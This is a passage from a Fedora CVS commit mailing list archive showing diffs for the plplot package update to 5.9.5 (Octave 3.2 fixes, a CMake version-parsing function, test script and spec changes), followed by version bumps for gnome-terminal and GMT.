	plplot-5.9.4-transform_version.patch plplot-5.9.5-test.patch 
Log Message:
Updates for octave 3.2.x (#525423)


plplot-5.9.4-octave32.patch:
 PLplot/closefig.m |    2 +-
 demos/p4.m        |    2 +-
 demos/p5.m        |    2 +-
 demos/x03c.m      |    6 +++---
 4 files changed, 6 insertions(+), 6 deletions(-)

--- NEW FILE plplot-5.9.4-octave32.patch ---
--- plplot-5.9.4/bindings/octave/PLplot/closefig.m.octave32	2009-08-13 21:30:05.511036727 -0600
+++ plplot-5.9.4/bindings/octave/PLplot/closefig.m	2009-08-13 21:30:52.206974684 -0600
@@ -21,7 +21,7 @@
 
   global __pl
 
-  if ( !(exist "__pl") || !struct_contains (__pl,"inited"))
+  if ( !(exist ("__pl")) || !struct_contains (__pl,"inited"))
     return;
   endif
 
--- plplot-5.9.4/bindings/octave/demos/p4.m.octave32	2009-05-10 13:37:17.000000000 -0600
+++ plplot-5.9.4/bindings/octave/demos/p4.m	2009-08-13 22:50:58.068005128 -0600
@@ -21,7 +21,7 @@
   x=0.01:0.1:10;
   y=exp(x);
 
-  og = grid "minor";
+  og = grid ("minor");
   title("Log-log example");
   loglog(x,y,'y')
   grid (og);
--- plplot-5.9.4/bindings/octave/demos/p5.m.octave32	2009-05-10 13:37:17.000000000 -0600
+++ plplot-5.9.4/bindings/octave/demos/p5.m	2009-08-13 22:51:21.277975680 -0600
@@ -21,7 +21,7 @@
   x=-pi:0.01:pi;
   y=sin(x).+cos(3*x);
 
-  og = grid "on";
+  og = grid ("on");
   title("Polar example");
   polar(x,y,'y')
   grid (og);
--- plplot-5.9.4/bindings/octave/demos/x03c.m.octave32	2009-05-10 13:37:17.000000000 -0600
+++ plplot-5.9.4/bindings/octave/demos/x03c.m	2009-08-26 11:50:28.362630969 -0600
@@ -47,11 +47,11 @@
 
   plenv(-1.3, 1.3, -1.3, 1.3, 1, -2);
   for i=1:10
-    x(:) = 0.1 * i * x0(:);
-    y(:) = 0.1 * i * y0(:);
+    x = 0.1 * i * x0(:);
+    y = 0.1 * i * y0(:);
     
     ## Draw circles for polar grid */
-    plline(x', y');
+    plline(x, y);
   endfor
 
   plcol0(2);

plplot-5.9.4-transform_version.patch:
 plplot.cmake |   50 +++++++++++++++++++++++++++++++++++---------------
 1 file changed, 35 insertions(+), 15 deletions(-)

--- NEW FILE plplot-5.9.4-transform_version.patch ---
--- plplot-5.9.4/cmake/modules/plplot.cmake.transform_version	2009-05-10 13:37:17.000000000 -0600
+++ plplot-5.9.4/cmake/modules/plplot.cmake	2009-08-26 10:33:56.174638294 -0600
@@ -30,21 +30,41 @@
 
 # Useful macros....
 
-macro(TRANSFORM_VERSION _numerical_result _version)
-# _version must be a period-delimited triplet string of the form
-# "major.minor.patch".
-# This macro transforms that into a numerical result that can be compared.
-if(${_version} MATCHES "^[0-9]*\\.[0-9]*\\.[0-9]*$")
-  string(REGEX REPLACE "^([0-9]*)\\.[0-9]*\\.[0-9]*$" "\\1" _major ${_version})
-  string(REGEX REPLACE "^[0-9]*\\.([0-9]*)\\.[0-9]*$" "\\1" _minor ${_version})
-  string(REGEX REPLACE "^[0-9]*\\.[0-9]*\\.([0-9]*)$" "\\1" _patch ${_version})
-  math(EXPR ${_numerical_result}
-  "${_major}*1000000 + ${_minor}*1000 + ${_patch}
-  ")
-else(${_version} MATCHES "^[0-9]*\\.[0-9]*\\.[0-9]*$")
-  set(${_numerical_result} 0)
-endif(${_version} MATCHES "^[0-9]*\\.[0-9]*\\.[0-9]*$")
-endmacro(TRANSFORM_VERSION)
+function(TRANSFORM_VERSION numerical_result version)
+  # internal_version ignores everything in version after any character that
+  # is not 0-9 or ".".  This should take care of the case when there is
+  # some non-numerical data in the patch version.
+  #message(STATUS "DEBUG: version = ${version}")
+  string(REGEX REPLACE "^([0-9.]+).*$" "\\1" internal_version ${version})
+
+  # internal_version is normally a period-delimited triplet string of the form
+  # "major.minor.patch", but patch and/or minor could be missing.
+  # Transform internal_version into a numerical result that can be compared.
+  string(REGEX REPLACE "^([0-9]*).+$" "\\1" major ${internal_version})
+  string(REGEX REPLACE "^[0-9]*\\.([0-9]*).*$" "\\1" minor ${internal_version})
+  string(REGEX REPLACE "^[0-9]*\\.[0-9]*\\.([0-9]*)$" "\\1" patch ${internal_version})
+
+  if(NOT patch MATCHES "[0-9]+")
+    set(patch 0)
+  endif(NOT patch MATCHES "[0-9]+")
+  
+  if(NOT minor MATCHES "[0-9]+")
+    set(minor 0)
+  endif(NOT minor MATCHES "[0-9]+")
+  
+  if(NOT major MATCHES "[0-9]+")
+    set(major 0)
+  endif(NOT major MATCHES "[0-9]+")
+  #message(STATUS "DEBUG: internal_version = ${internal_version}")
+  #message(STATUS "DEBUG: major = ${major}")
+  #message(STATUS "DEBUG: minor= ${minor}")
+  #message(STATUS "DEBUG: patch = ${patch}")
+  math(EXPR internal_numerical_result
+    "${major}*1000000 + ${minor}*1000 + ${patch}"
+    )
+  #message(STATUS "DEBUG: ${numerical_result} = ${internal_numerical_result}")
+  set(${numerical_result} ${internal_numerical_result} PARENT_SCOPE)
+endfunction(TRANSFORM_VERSION)
 
 macro(split_libraries_list _list _list_general _list_debug _list_optimized)
   # Macro for splitting a libraries list into its keyword denoted general,

plplot-5.9.5-test.patch:
 plplot-test.sh.cmake |   45 ++++++++++++++-------------------------------
 1 file changed, 14 insertions(+), 31 deletions(-)

--- NEW FILE plplot-5.9.5-test.patch ---
--- plplot-5.9.4/plplot_test/plplot-test.sh.cmake.test	2009-08-26 13:43:29.454693200 -0600
+++ plplot-5.9.4/plplot_test/plplot-test.sh.cmake	2009-08-26 13:46:14.464631523 -0600
@@ -35,8 +35,9 @@
 
 version=@VERSION@
 
-EXAMPLES_DIR=${EXAMPLES_DIR:-.}
-SRC_EXAMPLES_DIR=${SRC_EXAMPLES_DIR:-.}
+EXE_DIR=`dirname $0`
+EXAMPLES_DIR=${EXAMPLES_DIR:=$EXE_DIR}
+SRC_EXAMPLES_DIR=${SRC_EXAMPLES_DIR:=$EXE_DIR}
 OUTPUT_DIR=${OUTPUT_DIR:-.}
 device=${DEVICE:-psc}
 export EXAMPLES_DIR SRC_EXAMPLES_DIR OUTPUT_DIR device DEBUG_CMD
@@ -148,18 +149,6 @@
    shift
 done
 
-# This script is only designed to work when EXAMPLES_DIR is a directory
-# with a subdirectory called "c".  Check whether this conditions is true.
-
-if [ ! -d $EXAMPLES_DIR/c ] ; then
-echo '
-This script is only designed to work when the EXAMPLES_DIR environment
-variable (overridden by option --examples-dir) is a directory with a
-subdirectory called "c".  This condition has been violated.
-'
-exit 1
-fi
-
 # These variables set by default assuming you are going to run this
 # script from the installed demos directory $prefix/lib/plplot$version/examples.
 cdir=$EXAMPLES_DIR/c
@@ -295,21 +284,18 @@
 dsuffix=$device
 export dsuffix options
 
-# Find out what front-ends have been configured
+# Find out what front-ends have been configured and installed
 if [ -z "$FRONT_END" ] ; then
-   FRONT_END=c
-   test "@ENABLE_cxx@" = "ON" && FRONT_END="$FRONT_END cxx"
-   test "@ENABLE_f77@" = "ON"    && FRONT_END="$FRONT_END f77"
-   test "@ENABLE_f95@" = "ON"    && FRONT_END="$FRONT_END f95"
-   test "@ENABLE_java@" = "ON"   && FRONT_END="$FRONT_END java"
-   test "@ENABLE_octave@" = "ON" && FRONT_END="$FRONT_END octave"
-   test "@ENABLE_python@" = "ON" && FRONT_END="$FRONT_END python"
-   test "@ENABLE_tcl@" = "ON"    && FRONT_END="$FRONT_END tcl"
-   test "@ENABLE_pdl@" = "ON"    && FRONT_END="$FRONT_END pdl"
-   test "@ENABLE_ada@" = "ON"    && FRONT_END="$FRONT_END ada"
-   test "@ENABLE_ocaml@" = "ON"  && FRONT_END="$FRONT_END ocaml"
-   test "@ENABLE_lua@" = "ON"  && FRONT_END="$FRONT_END lua"
-   test "@ENABLE_d@" = "ON"  && FRONT_END="$FRONT_END d"
+   for front_end_status in c:@ENABLE_c@ cxx:@ENABLE_cxx@ f77:@ENABLE_f77@ \
+                           f95:@ENABLE_f95@ java:@ENABLE_java@ \
+                           octave:@ENABLE_octave@ python:@ENABLE_python@ \
+                           tcl:@ENABLE_tcl@ perl:@ENABLE_pdl@ \
+                           ada:@ENABLE_ada@ ocaml:@ENABLE_ocaml@ \
+                           lua:@ENABLE_lua@ d:@ENABLE_d@
+   do
+      front_end=${front_end_status/:ON/}
+      [ $front_end != $front_end_status ] && [ -d $EXAMPLES_DIR/$front_end ] && FRONT_END="$FRONT_END $front_end"
+   done
 fi
 
 # Find where the front-end scripts are by looking at the directory name of the
@@ -335,9 +321,6 @@
 for i in $FRONT_END ; do
    echo "Testing front-end $i"
    script=$scripts_dir/test_$i.sh
-   if [ "@WIN32@" != "1" ] ; then
-      chmod +x $script
-   fi
    @SH_EXECUTABLE@ $script || status=1
 done
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/plplot/F-11/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	26 May 2009 15:07:45 -0000	1.17
+++ .cvsignore	19 Oct 2009 20:53:29 -0000	1.18
@@ -1 +1 @@
-plplot-5.9.4.tar.gz
+plplot-5.9.5.tar.gz


Index: plplot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plplot/F-11/plplot.spec,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- plplot.spec	26 May 2009 15:07:45 -0000	1.75
+++ plplot.spec	19 Oct 2009 20:53:30 -0000	1.76
@@ -9,7 +9,7 @@
 %bcond_without pdl
 
 Name:           plplot
-Version:        5.9.4
+Version:        5.9.5
 Release:        1%{?dist}
 Summary:        Library of functions for making scientific plots
 
@@ -19,7 +19,9 @@ URL:            http://plplot.sourceforg
 Source0:        http://downloads.sourceforge.net/plplot/%{name}-%{version}.tar.gz
 Patch1:         plplot-5.9.3-multiarch.patch
 Patch2:         plplot-5.9.2-info.patch
-Patch5:         plplot-5.9.3-test.patch
+Patch3:         plplot-5.9.4-octave32.patch
+Patch4:         plplot-5.9.4-transform_version.patch
+Patch5:         plplot-5.9.5-test.patch
 Patch6:         plplot-5.7.3-jni.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -57,6 +59,11 @@ BuildRequires:  texlive, texinfo, openja
 BuildRequires:  ocaml, ocaml-findlib, ocaml-camlidl-devel
 %endif
 BuildRequires:  lua-devel
+BuildRequires:  qt-devel
+#For pyqt4
+BuildRequires:  PyQt4-devel
+#For Qt tests
+BuildRequires:  xorg-x11-xauth, xorg-x11-server-Xvfb
 Requires(post): /sbin/install-info
 Requires(preun): /sbin/install-info
 Requires:       gnu-free-mono-fonts
@@ -170,9 +177,6 @@ Summary:        Functions for scientific
 Group:          Development/Libraries
 Requires:       %{name} = %{version}-%{release}
 Provides:       ocaml-plplot = %{version}-%{release}
-%define _use_internal_dependency_generator 0
-%define __find_requires /usr/lib/rpm/ocaml-find-requires.sh
-%define __find_provides /usr/lib/rpm/ocaml-find-provides.sh
 
 %description    ocaml
 %{summary}.
@@ -212,6 +216,35 @@ Requires:       %{name} = %{version}-%{r
 %endif
 
 
+%package        pyqt
+Summary:        Functions for scientific plotting with PyQt
+Group:          Development/Libraries
+Requires:       %{name} = %{version}-%{release}
+
+%description    pyqt
+%{summary}.
+
+
+%package        qt
+Summary:        Functions for scientific plotting with Qt
+Group:          Development/Libraries
+Requires:       %{name} = %{version}-%{release}
+
+%description    qt
+%{summary}.
+
+%package        qt-devel
+Summary:        Development files for using PLplot with Qt
+Group:          Development/Libraries
+Requires:       %{name} = %{version}-%{release}
+Requires:       %{name}-devel = %{version}-%{release}
+Requires:       %{name}-qt = %{version}-%{release}
+Requires:       pkgconfig
+
+%description    qt-devel
+%{summary}.
+
+
 %package        tk
 Summary:        Functions for scientific plotting with Tk
 Group:          Development/Libraries
@@ -256,6 +289,8 @@ Requires:       pkgconfig
 %setup -q
 %patch1 -p1 -b .multiarch
 %patch2 -p1 -b .info
+#%patch3 -p1 -b .octave32
+#patch4 -p1 -b .transform_version
 %patch5 -p1 -b .test
 %patch6 -p1 -b .jni
 # Convert to UTF-8
@@ -275,49 +310,49 @@ export CXXFLAGS="$RPM_OPT_FLAGS"
 export FFLAGS="$RPM_OPT_FLAGS"
 #Needed for octave output to not have control characters
 unset TERM
+printenv
 %cmake .. \
-	-DCMAKE_SKIP_RPATH:BOOL=OFF \
-	-DUSE_RPATH:BOOL=OFF \
+        -DCMAKE_SKIP_RPATH:BOOL=OFF \
+        -DCMAKE_Fortran_COMPILER:FILEPATH=%{_bindir}/gfortran \
+        -DUSE_RPATH:BOOL=OFF \
         -DENABLE_ada:BOOL=ON \
         -DHAVE_ADA_2007:BOOL=ON \
-	-DENABLE_d:BOOL=ON \
-	-DENABLE_itcl:BOOL=ON \
-	-DENABLE_itk:BOOL=ON \
-	-DENABLE_lua:BOOL=ON \
-	-DHAVE_lua51:BOOL=ON \
-	-DENABLE_ocaml:BOOL=ON \
-	-DOCAML_INSTALL_DIR:PATH=`ocamlc -where` \
-	%{build_octave} \
-	-DENABLE_pdl:BOOL=ON \
-	-DENABLE_tk:BOOL=ON \
-	-DHAVE_PTHREAD:BOOL=ON \
-	-DPL_FREETYPE_FONT_PATH:PATH="/usr/share/fonts/gnu-free" \
-	-DPLD_aqt:BOOL=ON \
-	-DPLD_conex:BOOL=ON \
-	-DPLD_dg300:BOOL=ON \
-	-DPLD_imp:BOOL=ON \
-	-DPLD_linuxvga:BOOL=ON \
-	-DPLD_ljii:BOOL=ON \
-	-DPLD_ljiip:BOOL=ON \
-	-DPLD_mskermit:BOOL=ON \
-	-DPLD_ntk:BOOL=ON \
-	-DPLD_pstex:BOOL=ON \
-	-DPLD_svg:BOOL=ON \
-	-DPLD_tek4010:BOOL=ON \
-	-DPLD_tek4010f:BOOL=ON \
-	-DPLD_tek4107:BOOL=ON \
-	-DPLD_tek4107f:BOOL=ON \
-	-DPLD_versaterm:BOOL=ON \
-	-DPLD_vlt:BOOL=ON \
-	-DPLD_xterm:BOOL=ON \
-	-DPLD_wxwidgets:BOOL=ON \
+        -DENABLE_d:BOOL=ON \
+        -DENABLE_itcl:BOOL=ON \
+        -DENABLE_itk:BOOL=ON \
+        -DENABLE_lua:BOOL=ON \
+        -DHAVE_lua51:BOOL=ON \
+        -DENABLE_ocaml:BOOL=ON \
+        -DOCAML_INSTALL_DIR:PATH=`ocamlc -where` \
+        %{build_octave} \
+        -DENABLE_pdl:BOOL=ON \
+        -DENABLE_tk:BOOL=ON \
+        -DHAVE_PDL_GRAPHICS_PLPLOT_40:BOOL=ON \
+        -DHAVE_PTHREAD:BOOL=ON \
+        -DPL_FREETYPE_FONT_PATH:PATH="/usr/share/fonts/gnu-free" \
+        -DPLD_aqt:BOOL=ON \
+        -DPLD_conex:BOOL=ON \
+        -DPLD_imp:BOOL=ON \
+        -DPLD_linuxvga:BOOL=ON \
+        -DPLD_mskermit:BOOL=ON \
+        -DPLD_ntk:BOOL=ON \
+        -DPLD_pstex:BOOL=ON \
+        -DPLD_svg:BOOL=ON \
+        -DPLD_tek4010:BOOL=ON \
+        -DPLD_tek4010f:BOOL=ON \
+        -DPLD_tek4107:BOOL=ON \
+        -DPLD_tek4107f:BOOL=ON \
+        -DPLD_versaterm:BOOL=ON \
+        -DPLD_vlt:BOOL=ON \
+        -DPLD_xterm:BOOL=ON \
+        -DPLD_wxwidgets:BOOL=ON \
 %if %{with doc}
-	-DXML_DECL:FILEPATH=/usr/share/sgml/xml.dcl \
-	-DBUILD_DOC:BOOL=ON \
+        -DXML_DECL:FILEPATH=/usr/share/sgml/xml.dcl \
+        -DBUILD_DOC:BOOL=ON \
 %else
-	-DPREBUILT_DOC:BOOL=ON \
+        -DPREBUILT_DOC:BOOL=ON \
 %endif
-	-DBUILD_TEST:BOOL=ON
+        -DBUILD_TEST:BOOL=ON
 # --debug-output --debug-trycompile \
 #
 make %{?_smp_flags} VERBOSE=1
@@ -337,16 +372,20 @@ do
    cat tclIndex.hd tclIndex > ${file}
 done
 
+rm -rf $RPM_BUILD_ROOT%{_datadir}/plplot%{version}/examples/cmake/modules/Platform
+
 
 %check
 cd fedora
 #Hack
 export ITCL_LIBRARY=%{_libdir}/tcl8.5/itcl3.4
-# Exclude perl and compare tests for now, and ocaml from ppc/ppc64
+# Exclude compare tests for now, and ocaml from ppc/ppc64
+# The *qt tests requires an X server, but Xvfb is segfaulting
+# http://bugs.freedesktop.org/show_bug.cgi?id=23815
 %ifarch ppc ppc64
-ctest -V -E 'compare|ocaml'
+xvfb-run -f `mktemp` -e /dev/stderr ctest -V -E 'compare|ocaml|qt'
 %else
-ctest -V -E 'compare'
+xvfb-run -f `mktemp` -e /dev/stderr ctest -V -E 'compare|qt'
 %endif
 
 
@@ -373,6 +412,9 @@ fi
 %postun octave -p /sbin/ldconfig
 %endif
 
+%post   qt -p /sbin/ldconfig
+%postun qt -p /sbin/ldconfig
+
 %post   tk -p /sbin/ldconfig
 %postun tk -p /sbin/ldconfig
 
@@ -391,14 +433,17 @@ fi
 %{python_sitearch}/plplot.py*
 %{python_sitearch}/plplot_widgetmodule.so
 %{python_sitearch}/plplotc.py*
+%{python_sitearch}/Plframe.py*
+%{python_sitearch}/TclSup.py*
 %{_infodir}/plplotdoc.info*
 %{_mandir}/man1/plm2gif.1.gz
 %{_mandir}/man1/plpr.1.gz
 %{_mandir}/man1/pltek.1.gz
 %{_mandir}/man1/pstex2eps.1.gz
 %dir %{_datadir}/plplot%{version}
-%{_datadir}/plplot%{version}/*.map
 %{_datadir}/plplot%{version}/*.fnt
+%{_datadir}/plplot%{version}/*.map
+%{_datadir}/plplot%{version}/*.pal
 %dir %{_datadir}/plplot%{version}/examples
 %{_datadir}/plplot%{version}/examples/python/
 %{_datadir}/plplot%{version}/examples/test_python.sh
@@ -409,7 +454,6 @@ fi
 %defattr(-,root,root,-)
 %{_libdir}/libcsirocsa.so.*
 %{_libdir}/libcsironn.so.*
-%{_libdir}/libnistcd.so.*
 %{_libdir}/libplplotcxxd.so.*
 %{_libdir}/libplplotd.so.*
 %{_libdir}/libplplotf77cd.so.*
@@ -421,30 +465,16 @@ fi
 %dir %{_libdir}/plplot%{version}/driversd
 %{_libdir}/plplot%{version}/driversd/cairo.rc
 %{_libdir}/plplot%{version}/driversd/cairo.so
-%{_libdir}/plplot%{version}/driversd/cgm.rc
-%{_libdir}/plplot%{version}/driversd/cgm.so
-%{_libdir}/plplot%{version}/driversd/dg300.rc
-%{_libdir}/plplot%{version}/driversd/dg300.so
-%{_libdir}/plplot%{version}/driversd/hpgl.rc
-%{_libdir}/plplot%{version}/driversd/hpgl.so
-%{_libdir}/plplot%{version}/driversd/impress.rc
-%{_libdir}/plplot%{version}/driversd/impress.so
 %ifarch %{ix86} x86_64
 %{_libdir}/plplot%{version}/driversd/linuxvga.rc
 %{_libdir}/plplot%{version}/driversd/linuxvga.so
 %endif
-%{_libdir}/plplot%{version}/driversd/ljii.rc
-%{_libdir}/plplot%{version}/driversd/ljii.so
-%{_libdir}/plplot%{version}/driversd/ljiip.rc
-%{_libdir}/plplot%{version}/driversd/ljiip.so
 %{_libdir}/plplot%{version}/driversd/mem.rc
 %{_libdir}/plplot%{version}/driversd/mem.so
 %{_libdir}/plplot%{version}/driversd/ntk.rc
 %{_libdir}/plplot%{version}/driversd/ntk.so
 %{_libdir}/plplot%{version}/driversd/null.rc
 %{_libdir}/plplot%{version}/driversd/null.so
-%{_libdir}/plplot%{version}/driversd/pbm.rc
-%{_libdir}/plplot%{version}/driversd/pbm.so
 %{_libdir}/plplot%{version}/driversd/ps.rc
 %{_libdir}/plplot%{version}/driversd/ps.so
 %{_libdir}/plplot%{version}/driversd/pstex.rc
@@ -453,8 +483,6 @@ fi
 %{_libdir}/plplot%{version}/driversd/psttf.so
 %{_libdir}/plplot%{version}/driversd/svg.rc
 %{_libdir}/plplot%{version}/driversd/svg.so
-%{_libdir}/plplot%{version}/driversd/tek.rc
-%{_libdir}/plplot%{version}/driversd/tek.so
 %{_libdir}/plplot%{version}/driversd/xfig.rc
 %{_libdir}/plplot%{version}/driversd/xfig.so
 %{_libdir}/plplot%{version}/driversd/xwin.rc
@@ -466,7 +494,6 @@ fi
 %{_includedir}/plplot/
 %{_libdir}/libcsirocsa.so
 %{_libdir}/libcsironn.so
-%{_libdir}/libnistcd.so
 %{_libdir}/libplplotcxxd.so
 %{_libdir}/libplplotd.so
 %{_libdir}/libplplotf77cd.so
@@ -479,6 +506,15 @@ fi
 %{_libdir}/pkgconfig/plplotd-c++.pc
 %{_libdir}/pkgconfig/plplotd-f77.pc
 %{_libdir}/pkgconfig/plplotd-f95.pc
+%{_datadir}/plplot%{version}/examples/CMakeLists.txt
+%dir %{_datadir}/plplot%{version}/examples/cmake
+%dir %{_datadir}/plplot%{version}/examples/cmake/modules
+%{_datadir}/plplot%{version}/examples/cmake/modules/FindPkgConfig.cmake
+%{_datadir}/plplot%{version}/examples/cmake/modules/CMakeFortranInformation.cmake
+%{_datadir}/plplot%{version}/examples/cmake/modules/export_plplot-noconfig.cmake
+%{_datadir}/plplot%{version}/examples/cmake/modules/export_plplot.cmake
+%{_datadir}/plplot%{version}/examples/cmake/modules/pkg-config.cmake
+%{_datadir}/plplot%{version}/examples/cmake/modules/plplot_configure.cmake
 %{_datadir}/plplot%{version}/examples/lena.pgm
 %{_datadir}/plplot%{version}/examples/c/
 %{_datadir}/plplot%{version}/examples/c++/
@@ -508,6 +544,10 @@ fi
 #%{_datadir}/ada/adainclude/plplotadad/
 %{_datadir}/plplot%{version}/examples/ada/
 %{_datadir}/plplot%{version}/examples/test_ada.sh
+%{_datadir}/plplot%{version}/examples/cmake/modules/CMakeAdaCompiler.cmake.in
+%{_datadir}/plplot%{version}/examples/cmake/modules/CMakeAdaInformation.cmake
+%{_datadir}/plplot%{version}/examples/cmake/modules/CMakeDetermineAdaCompiler.cmake
+%{_datadir}/plplot%{version}/examples/cmake/modules/CMakeTestAdaCompiler.cmake
 
 %files java
 %defattr(-,root,root,-)
@@ -558,9 +598,24 @@ fi
 %files perl
 %defattr(-,root,root,-)
 %{_datadir}/plplot%{version}/examples/perl/
-%{_datadir}/plplot%{version}/examples/test_perl.sh
+%{_datadir}/plplot%{version}/examples/test_pdl.sh
 %endif
 
+%files pyqt
+%defattr(-,root,root,-)
+%{python_sitearch}/plplot_pyqt4.so
+
+%files qt
+%defattr(-,root,root,-)
+%{_libdir}/libplplotqtd.so.*
+%{_libdir}/plplot%{version}/driversd/qt.rc
+%{_libdir}/plplot%{version}/driversd/qt.so
+
+%files qt-devel
+%defattr(-,root,root,-)
+%{_libdir}/libplplotqtd.so
+%{_libdir}/pkgconfig/plplotd-qt.pc
+
 %files tk
 %defattr(-,root,root,-)
 %{_bindir}/plserver
@@ -592,11 +647,41 @@ fi
 %{_libdir}/plplot%{version}/driversd/wxwidgets.so
 
 %files wxGTK-devel
+%defattr(-,root,root,-)
 %{_libdir}/libplplotwxwidgetsd.so
 %{_libdir}/pkgconfig/plplotd-wxwidgets.pc
 
 
 %changelog
+* Mon Sep 28 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.9.5-1
+- Update to 5.9.5
+- Disable qt tests for now until Xvfb bug is fixed.
+- Remove ocaml dep code for now - breaks other dep generation
+
+* Wed Aug 26 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.9.4-8
+- Update octave patch to hopefully fix remaining issue.
+- Re-enable tests
+
+* Wed Aug 26 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.9.4-7
+- Add patch from svn to support pdl 2.4.4_05
+- Force using gfortran
+
+* Wed Aug 26 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 5.9.4-6
+- Build with perl package re-enabled
+
+* Wed Aug 26 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 5.9.4-5
+- Temporarily disable check to fix broken deps in rawhide
+- Attempt bootstrap build without pdl
+
+* Thu Aug 13 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.9.4-4
+- Add patch to support octave 3.2
+
+* Sat Aug 01 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 5.9.4-3
+- Rebuilt against updated Octave.
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.9.4-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Fri May 22 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.9.4-1
 - Update to 5.9.4
 - Drop soversion patch applied upstream


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/plplot/F-11/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	26 May 2009 15:07:45 -0000	1.17
+++ sources	19 Oct 2009 20:53:30 -0000	1.18
@@ -1 +1 @@
-db172aaf0a7aa429b63d9bbd28637fd4  plplot-5.9.4.tar.gz
+214c9f984f046bee18f6a3cce2cdec39  plplot-5.9.5.tar.gz



From mclasen at fedoraproject.org  Mon Oct 19 20:55:22 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 20:55:22 +0000 (UTC)
Subject: rpms/gnome-terminal/F-12 .cvsignore, 1.64, 1.65 gnome-terminal.spec,
	1.130, 1.131 sources, 1.65, 1.66
Message-ID: <20091019205522.AF4CD11C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-terminal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13141

Modified Files:
	.cvsignore gnome-terminal.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-terminal/F-12/.cvsignore,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- .cvsignore	22 Sep 2009 00:46:54 -0000	1.64
+++ .cvsignore	19 Oct 2009 20:55:22 -0000	1.65
@@ -1 +1 @@
-gnome-terminal-2.28.0.tar.bz2
+gnome-terminal-2.28.1.tar.bz2


Index: gnome-terminal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-terminal/F-12/gnome-terminal.spec,v
retrieving revision 1.130
retrieving revision 1.131
diff -u -p -r1.130 -r1.131
--- gnome-terminal.spec	5 Oct 2009 05:09:51 -0000	1.130
+++ gnome-terminal.spec	19 Oct 2009 20:55:22 -0000	1.131
@@ -10,8 +10,8 @@
 
 Summary: Terminal emulator for GNOME
 Name: gnome-terminal
-Version: 2.28.0
-Release: 2%{?dist}
+Version: 2.28.1
+Release: 1%{?dist}
 License: GPLv2+ and GFDL
 Group: User Interface/Desktops
 URL: http://www.gnome.org/
@@ -139,6 +139,9 @@ scrollkeeper-update -q
 %{_sysconfdir}/gconf/schemas/gnome-terminal.schemas
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
+- Update to 2.28.1, translation updates
+
 * Mon Oct  5 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-2
 - Fix a small memory leak
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-terminal/F-12/sources,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- sources	22 Sep 2009 00:46:55 -0000	1.65
+++ sources	19 Oct 2009 20:55:22 -0000	1.66
@@ -1 +1 @@
-9cdc3581a03a44dd693663991d1c1e9f  gnome-terminal-2.28.0.tar.bz2
+d0eea9c1fe86260bb302c5650259a2ed  gnome-terminal-2.28.1.tar.bz2



From alexlan at fedoraproject.org  Mon Oct 19 20:56:14 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Mon, 19 Oct 2009 20:56:14 +0000 (UTC)
Subject: rpms/GMT/F-11 .cvsignore,1.4,1.5 GMT.spec,1.8,1.9
Message-ID: <20091019205614.84A7E11C00DC@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/pkgs/rpms/GMT/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13310

Modified Files:
	.cvsignore GMT.spec 
Log Message:
Sync with F-12 branch for octave 3.2.x (#525423)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/GMT/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	24 Feb 2009 20:15:53 -0000	1.4
+++ .cvsignore	19 Oct 2009 20:56:14 -0000	1.5
@@ -1,4 +1,4 @@
-GMT4.4.0_share.tar.bz2
-GMT4.4.0_src.tar.bz2
-GMT4.4.0_suppl.tar.bz2
-GMT4.4.0_doc.tar.bz2
+GMT4.5.0_doc.tar.bz2
+GMT4.5.0_share.tar.bz2
+GMT4.5.0_src.tar.bz2
+GMT4.5.0_suppl.tar.bz2


Index: GMT.spec
===================================================================
RCS file: /cvs/pkgs/rpms/GMT/F-11/GMT.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- GMT.spec	21 Jul 2009 22:39:38 -0000	1.8
+++ GMT.spec	19 Oct 2009 20:56:14 -0000	1.9
@@ -8,7 +8,7 @@
 
 Name:           GMT
 Version:        4.5.0
-Release:        1%{?dist}
+Release:        4%{?dist}
 Summary:        Generic Mapping Tools
 
 Group:          Applications/Engineering
@@ -235,6 +235,15 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Jul 31 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 4.5.0-4
+- Rebuild against Octave 3.2.2
+
+* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.5.0-3
